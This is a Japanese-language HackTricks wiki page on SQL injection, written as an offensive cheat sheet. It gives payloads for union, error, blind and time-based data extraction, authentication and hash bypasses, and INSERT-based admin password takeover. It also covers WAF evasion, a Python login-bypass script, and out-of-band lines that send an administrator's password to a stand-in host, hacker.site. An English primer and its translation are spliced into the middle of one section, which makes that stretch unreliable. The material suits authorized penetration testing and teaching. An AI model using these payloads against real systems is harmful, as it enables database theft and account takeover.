.. | ||
mysql-injection | ||
postgresql-injection | ||
sqlmap | ||
cypher-injection-neo4j.md | ||
ms-access-sql-injection.md | ||
mssql-injection.md | ||
oracle-injection.md | ||
README.md | ||
sqlmap.md |
SQL インジェクション
☁️ HackTricks Cloud ☁️ - 🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricks で企業を宣伝したいですか?または PEASS の最新バージョンにアクセスしたいですか?または HackTricks を PDF でダウンロードしたいですか?SUBSCRIPTION PLANS をチェックしてください!
- The PEASS Family を発見しましょう。独占的な NFTs のコレクションです。
- 公式 PEASS & HackTricks スウェグ を手に入れましょう。
- 💬 Discord グループに参加するか、Telegram グループに参加するか、Twitterで私をフォローする🐦@carlospolopm**。
- ハッキングトリックを共有するために、hacktricks リポジトリとhacktricks-cloud リポジトリに PR を提出してください。
RootedCON は スペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術的知識の促進を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家の熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
SQL インジェクションとは?
SQL インジェクションは、アプリケーションのデータベースクエリに 干渉することを可能にするセキュリティ上の脆弱性です。この脆弱性により、攻撃者は、他のユーザーの情報やアプリケーションがアクセスできるデータを含む、アクセスすべきでないデータを 表示、変更、または 削除 することができます。これらの行動は、アプリケーションの機能やコンテンツの永続的な変更、またはサーバーの侵害やサービスの拒否にさえつながる可能性があります。
エントリーポイントの検出
サイトが SQL インジェクション(SQLi) に脆弱であるように見える場合、SQLi 関連の入力に対するサーバーの異常な応答により、最初のステップは、クエリにデータを 挿入する方法を理解し、それを 妨げることなく行うことです。これには、現在のコンテキストから 効果的に脱出する方法を特定する必要があります。 以下は、いくつかの有用な例です:
[Nothing]
'
"
`
')
")
`)
'))
"))
`))
次に、クエリを修正してエラーが発生しないようにする方法を知る必要があります。クエリを修正するためには、新しいデータを入力して以前のクエリが新しいデータを受け入れるようにするか、単にデータを入力してコメント記号を末尾に追加することができます。
クエリが機能しているときと機能していないときにエラーメッセージを見ることができるか、違いを見つけることができる場合、このフェーズはより簡単になります。
コメント
MySQL
#comment
-- comment [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */
PostgreSQL
--comment
/*comment*/
MSQL
--comment
/*comment*/
Oracle
--comment
SQLite
--comment
/*comment*/
HQL
HQL does not support comments
論理演算で確認
SQLインジェクションの脆弱性を確認する信頼性の高い方法は、論理演算を実行し、期待される結果を観察することです。たとえば、?username=Peter
というGETパラメータが、?username=Peter' or '1'='1
に変更されたときに同一のコンテンツを生成する場合、SQLインジェクションの脆弱性が示唆されます。
同様に、数学演算の適用は効果的な確認手法として機能します。たとえば、?id=1
にアクセスした場合と?id=2-1
にアクセスした場合に同じ結果が生成される場合、SQLインジェクションの兆候となります。
論理演算による確認を示す例:
page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false
このワードリストは、提案された方法でSQLインジェクションを確認しようと作成されました:
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
タイミングでの確認
場合によっては、テストしているページに変化に気づかないことがあります。そのため、ブラインドSQLインジェクションを発見する良い方法は、DBにアクションを実行させ、ページの読み込みに時間がかかるようにすることです。
したがって、SQLクエリに、完了に多くの時間がかかる操作を連結することになります:
MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)
PostgreSQL (only support string concat)
1' || pg_sleep(10)
MSQL
1' WAITFOR DELAY '0:0:10'
Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)
SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
いくつかの場合、sleep関数を許可されないことがあります。その場合、これらの関数を使用する代わりに、複雑な操作を実行させて、数秒かかるクエリを作成することができます。これらのテクニックの例は、各技術ごとに別々にコメントされます。
バックエンドの特定
バックエンドを特定する最良の方法は、異なるバックエンドの関数を実行しようとすることです。前のセクションのsleep関数またはこれらの関数を使用できます(payloadsallthethingsのテーブルから:
["conv('a',16,2)=conv('a',16,2)" ,"MYSQL"],
["connection_id()=connection_id()" ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')" ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)" ,"MSSQL"],
["@@CONNECTIONS>0" ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS" ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY" ,"MSSQL"],
["USER_ID(1)=USER_ID(1)" ,"MSSQL"],
["ROWNUM=ROWNUM" ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')" ,"ORACLE"],
["LNNVL(0=123)" ,"ORACLE"],
["5::int=5" ,"POSTGRESQL"],
["5::integer=5" ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()" ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)" ,"POSTGRESQL"],
["current_database()=current_database()" ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()" ,"SQLITE"],
["last_insert_rowid()>1" ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()" ,"SQLITE"],
["val(cvar(1))=1" ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0" ,"MSACCESS"],
["cdbl(1)=cdbl(1)" ,"MSACCESS"],
["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
また、クエリの出力にアクセスできる場合は、データベースのバージョンを表示させることができます。
{% hint style="info" %} 続けて、異なる種類のSQLインジェクションを悪用するための異なる方法について説明します。例としてMySQLを使用します。 {% endhint %}
PortSwiggerを使用した識別
{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}
Union Basedの悪用
列の数を検出する
クエリの出力を見ることができれば、これが悪用する最良の方法です。
まず、初期リクエストが返す列の数を見つける必要があります。これは両方のクエリが同じ列数を返す必要があるためです。
この目的には通常、次の2つの方法が使用されます。
Order/Group by
クエリの列数を特定するには、ORDER BYまたはGROUP BY句で使用される数値を段階的に調整し、誤った応答が受信されるまで増やします。SQL内でGROUP BYとORDER BYの異なる機能があるにもかかわらず、両方を同様に使用してクエリの列数を確認できます。
1' ORDER BY 1--+ #True
1' ORDER BY 2--+ #True
1' ORDER BY 3--+ #True
1' ORDER BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
1' GROUP BY 1--+ #True
1' GROUP BY 2--+ #True
1' GROUP BY 3--+ #True
1' GROUP BY 4--+ #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+ True
UNION SELECT
クエリが正しい値を返すまで、さらに多くの null 値を選択します:
1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked
いくつかのケースでは、クエリの両側の列の型が同じである必要があるため、null
値を使用する必要があります。
データベース名、テーブル名、列名を抽出
次の例では、すべてのデータベースの名前、データベースのテーブル名、テーブルの列名を取得します:
#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata
#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]
#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]
異なるデータベースごとにこのデータを発見する異なる方法がありますが、常に同じ方法論です。
隠れたユニオンベースの悪用
クエリの出力が見えるが、ユニオンベースのインジェクションが達成不可能に見える場合、隠れたユニオンベースのインジェクションが存在することを示します。このシナリオはしばしば盲目的なインジェクション状況につながります。盲目的なインジェクションをユニオンベースに変換するには、バックエンドでの実行クエリを識別する必要があります。
これは、対象のデータベース管理システム(DBMS)に固有のデフォルトテーブルとともに盲目的なインジェクション技術を使用して達成できます。これらのデフォルトテーブルを理解するには、対象DBMSのドキュメントを参照することが推奨されます。
クエリを抽出したら、ペイロードを調整して元のクエリを安全に閉じる必要があります。その後、ペイロードにユニオンクエリを追加することで、新たにアクセス可能になったユニオンベースのインジェクションを悪用できます。
より包括的な洞察を得るには、Healing Blind Injectionsで利用可能な完全な記事を参照してください。
エラーベースの悪用
何らかの理由でクエリの出力を見ることができないが、エラーメッセージを見ることができる場合、これらのエラーメッセージを使用してデータベースからデータを外部に持ち出すことができます。
ユニオンベースの悪用と同様の流れに従うことで、DBをダンプすることができます。
(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))
Blind SQLiの悪用
この場合、クエリの結果やエラーを見ることはできませんが、ページに異なるコンテンツが表示されるため、クエリがtrueまたはfalseの応答を返すと区別できます。
この場合、その動作を悪用してデータベースを1文字ずつダンプすることができます。
?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'
エラー盲目SQLiの悪用
これは以前と同じケースですが、クエリからの真偽の応答を区別する代わりに、SQLクエリのエラーの有無(おそらくHTTPサーバーがクラッシュするため)を区別できます。したがって、この場合、文字を正しく推測するたびにSQLエラーを強制することができます。
AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -
タイムベースのSQLiの悪用
この場合、クエリの応答をページのコンテキストに基づいて区別する方法はありません。しかし、推測された文字が正しい場合、ページの読み込みに時間がかかるようにすることができます。これは、すでにSQLi脆弱性を確認するために使用されているテクニックで見てきました。
1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#
スタックされたクエリ
スタックされたクエリを使用して、連続して複数のクエリを実行できます。後続のクエリが実行される間、結果はアプリケーションに返されないことに注意してください。したがって、このテクニックは主にブラインド脆弱性に関連して使用され、第二のクエリを使用してDNSルックアップ、条件付きエラー、または時間遅延をトリガーできます。
Oracleはスタックされたクエリをサポートしていません。MySQL、Microsoft、およびPostgreSQLはそれらをサポートしています:ここにクエリ1; ここにクエリ2
Out of band Exploitation
他のどの攻撃手法も機能しない場合、データベースから情報を外部ホスト(あなたが制御する)に流出させることを試してみることができます。たとえば、DNSクエリを介して:
select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));
XXEを利用した外部バンドデータのエクスフィルトレーション
a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -
自動化された攻撃
sqlmapを使用してSQLi脆弱性を悪用するSQLMapチートシートを確認してください。
テック固有の情報
すでにSQLインジェクション脆弱性を悪用する方法についてすべて説明しました。この書籍では、データベーステクノロジーに依存するさらなるトリックを見つけることができます:
また、https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injectionには、MySQL、PostgreSQL、Oracle、MSSQL、SQLite、HQLに関する多くのトリックがあります。
RootedCONはスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの1つです。技術的知識の促進を使命とするこの会議は、あらゆる分野の技術とサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
認証バイパス
ログイン機能をバイパスしようとするリスト:
{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}
生のハッシュ認証バイパス
"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"
このクエリは、MD5がtrueで生の出力を使用して認証チェックを行う際の脆弱性を示しています。これにより、システムがSQLインジェクションに対して脆弱になります。攻撃者は、入力を作成して、ハッシュ化すると予期しないSQLコマンドの一部が生成され、不正アクセスが可能になります。
md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>
sha1("3fDf ", true) = Q<EFBFBD>u'='<EFBFBD>@<EFBFBD>[<EFBFBD>t<EFBFBD>- o<EFBFBD><EFBFBD>_-!
インジェクトされたハッシュ認証バイパス
admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'
推奨リスト:
リストの各行をユーザー名として使用し、常にパスワードとして Pass1234. を使用する必要があります。
(これらのペイロードは、このセクションの冒頭で言及されている大きなリストにも含まれています)
{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}
GBK 認証バイパス
IF ' is being scaped you can use %A8%27, and when ' gets scaped it will be created: 0xA80x5c0x27 (╘')
%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --
Pythonスクリプト:
import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text
ポリグロットインジェクション(マルチコンテキスト)
SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/
挿入ステートメント
既存のオブジェクト/ユーザーのパスワードを変更する
これを行うには、おそらくユーザーの場合は admin として名前が付けられた "マスターオブジェクト" を作成しようとしてください。
- ユーザー名: AdMIn を作成する(大文字と小文字の組み合わせ)
- ユーザー名: admin= を作成する
- SQL Truncation Attack(ユーザー名やメールに 文字数制限 がある場合) --> 名前が admin [たくさんのスペース] a のユーザーを作成する
SQL Truncation Attack
データベースが脆弱で、ユーザー名の最大文字数が例えば30であり、ユーザー admin に成りすます場合、"admin [30スペース] a" というユーザー名を作成してください。そして任意のパスワードを設定します。
データベースは、導入された ユーザー名 がデータベース内に存在するかどうかを 確認 します。もし存在しない場合、ユーザー名 を 許可された最大文字数 に 切り取り(この場合は "admin [25スペース]" に)その後、末尾のすべてのスペースを自動的に削除してデータベース内のユーザー "admin" の 新しいパスワードを更新します(エラーが発生することがありますが、これが機能していないということではありません)。
詳細情報: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref
注: この攻撃は、最新のMySQLインストールでは上記のようには機能しなくなりました。比較は引き続きデフォルトで末尾の空白を無視しますが、フィールドの長さよりも長い文字列を挿入しようとするとエラーが発生し、挿入は失敗します。このチェックについての詳細情報はこちら: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation
MySQL 挿入時の時間ベースのチェック
VALUESステートメントを終了するために ','',''
を追加してください。遅延が発生した場合、SQLインジェクションが発生しています。
name=','');WAITFOR%20DELAY%20'0:0:5'--%20-
ON DUPLICATE KEY UPDATE
MySQLのON DUPLICATE KEY UPDATE
句は、UNIQUEインデックスまたはPRIMARY KEYで重複する値が挿入されようとした場合に、データベースが取るべきアクションを指定するために使用されます。次の例は、この機能を悪用して管理者アカウントのパスワードを変更する方法を示しています:
例:インジェクションペイロード
インジェクションペイロードは、users
テーブルに2つの行を挿入しようとするように作成されるかもしれません。最初の行はデコイであり、2番目の行は既存の管理者のメールアドレスを対象としてパスワードを更新することを意図しています。
INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";
こういう仕組みです:
- クエリは2つの行を挿入しようとします:1つは
generic_user@example.com
用で、もう1つはadmin_generic@example.com
用です。 - もし
admin_generic@example.com
用の行がすでに存在している場合、ON DUPLICATE KEY UPDATE
句がトリガーされ、MySQLに既存の行のpassword
フィールドを "bcrypt_hash_of_newpassword" に更新するよう指示します。 - その結果、認証は
admin_generic@example.com
を使用して試行でき、bcryptハッシュに対応するパスワードを使用できます("bcrypt_hash_of_newpassword" は新しいパスワードのbcryptハッシュを表し、実際のハッシュに置き換える必要があります)。
情報の抽出
同時に2つのアカウントを作成する
新しいユーザーとユーザー名、パスワード、メールアドレスを作成しようとするとき:
SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -
A new user with username=otherUsername, password=otherPassword, email:FLAG will be created
10進数または16進数を使用する
このテクニックを使用すると、1つのアカウントを作成するだけで情報を抽出できます。コメントを追加する必要はないことに注意することが重要です。
hex2decとsubstrを使用する:
'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
以下は、ハッキング技術に関する本の内容です。以下の内容は、ファイルpentesting-web/sql-injection/README.mdからのものです。
SQL Injection
Description
SQL injection is a common hacking technique used to attack databases through a web application. By inserting malicious SQL code into input fields, an attacker can manipulate the database and potentially access, modify, or delete sensitive data.
Prevention
To prevent SQL injection attacks, web developers should use parameterized queries, input validation, and proper error handling. Additionally, using an ORM (Object-Relational Mapping) library can help mitigate the risk of SQL injection by abstracting database interactions.
Example
Consider a login form where the username and password are entered. An attacker can input ' OR 1=1 --
as the username and ' OR 1=1 --
as the password to bypass authentication and gain unauthorized access.
SQLインジェクション
説明
SQLインジェクションは、Webアプリケーションを介してデータベースを攻撃するために使用される一般的なハッキング技術です。悪意のあるSQLコードを入力フィールドに挿入することで、攻撃者はデータベースを操作し、機密データにアクセスしたり、変更したり、削除したりする可能性があります。
予防方法
SQLインジェクション攻撃を防ぐために、Web開発者はパラメーター化されたクエリ、入力検証、適切なエラーハンドリングを使用する必要があります。さらに、ORM(Object-Relational Mapping)ライブラリを使用することで、データベースの相互作用を抽象化することでSQLインジェクションのリスクを軽減することができます。
例
ユーザー名とパスワードが入力されるログインフォームを考えてみましょう。攻撃者は、ユーザー名として' OR 1=1 --
、パスワードとして' OR 1=1 --
を入力することで、認証をバイパスして不正アクセスを行うことができます。
__import__('binascii').unhexlify(hex(215573607263)[2:])
hexとreplace(およびsubstr)を使用する:
'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
RootedCONはスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術知識の促進を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
ルーテッドSQLインジェクション
ルーテッドSQLインジェクションとは、出力を提供するのではなく、インジェクション可能なクエリの出力が出力を提供するクエリに移動する状況です。(論文より)
例:
#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a
WAF バイパス
スペースなしバイパス
スペースなし (%20) - 空白の代替手段を使用したバイパス
?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--
No Whitespace - コメントを使用してバイパスする
このテクニックは、SQLインジェクション攻撃時にスペースを回避するために使用されます。SQLクエリ内のスペースを回避するために、SQLコメントを使用してクエリを分割します。これにより、攻撃者はSQLインジェクションを実行するために必要なスペースを回避できます。
例えば、以下のようなSQLクエリがあるとします:
SELECT * FROM users WHERE username = 'admin' AND password = 'password123'
このクエリをコメントを使用して分割すると、次のようになります:
SELECT * FROM users WHERE username = 'admin' /*' AND password = 'password123'
このようにすることで、AND password = 'password123'
の部分がコメントアウトされ、攻撃者は新しい条件を挿入してSQLインジェクションを実行することができます。
?id=1/*comment*/and/**/1=1/**/--
No Whitespace - パーレンシスを使用してバイパス
このテクニックは、SQLインジェクション攻撃時にスペースを回避するために使用されます。通常、SQL文のキーワードと識別子の間にはスペースが必要ですが、この制約を回避するために、パーレンシス()を使用してキーワードと識別子を区別します。
?id=(1)and(1)=(1)--
コンマをバイパスする
オフセット、FROM、JOINを使用してコンマをバイパスします。
LIMIT 0,1 -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4 -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d
一般的なバイパス
キーワードを使用したブラックリスト - 大文字/小文字を使用してバイパス
?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#
大文字小文字を区別しないキーワードを使用したブラックリスト - 同等の演算子を使用してバイパス
AND -> && -> %26%26
OR -> || -> %7C%7C
= -> LIKE,REGEXP,RLIKE, not < and not >
> X -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))
科学表記 WAF バイパス
このトリックの詳細な説明は、gosecure ブログで見つけることができます。
基本的に、WAF をバイパスするために予期しない方法で科学表記を使用できます。
-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=
カラム名の制限をバイパスする
まず最初に、元のクエリとフラグを抽出したいテーブルが同じ数のカラムを持っている場合、単に次のようにすることができます: 0 UNION SELECT * FROM flag
カラム名を使用せずに、テーブルの3番目のカラムにアクセスすることが可能です。次のようなクエリを使用します: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
、したがって、これはsqlinjectionでは次のようになります:
# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;
または、カンマバイパスを使用する:
# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c
このトリックはhttps://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/から取得されました。
WAF バイパス提案ツール
{% embed url="https://github.com/m4ll0k/Atlas" %}
その他のガイド
- https://sqlwiki.netspi.com/
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection
ブルートフォース検出リスト
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}
RootedCONはスペインで最も関連性の高いサイバーセキュリティイベントであり、ヨーロッパでも最も重要なイベントの一つです。技術的知識の促進を使命とするこの会議は、あらゆる分野のテクノロジーとサイバーセキュリティ専門家にとっての熱い出会いの場です。
{% embed url="https://www.rootedcon.com/" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
- サイバーセキュリティ企業で働いていますか? HackTricks で会社を宣伝したいですか?または、PEASS の最新バージョンにアクセスしたいですか?または、HackTricks を PDF でダウンロードしたいですか?SUBSCRIPTION PLANSをチェックしてください!
- The PEASS Familyを発見し、独占的な NFTsコレクションを見つけてください
- 公式 PEASS & HackTricks スウォッグを手に入れましょう
- 💬 Discord グループまたは telegram グループ に参加するか、Twitter 🐦@carlospolopm** をフォローしてください**
- ハッキングトリックを共有するために、hacktricks リポジトリとhacktricks-cloud リポジトリ に PR を提出してください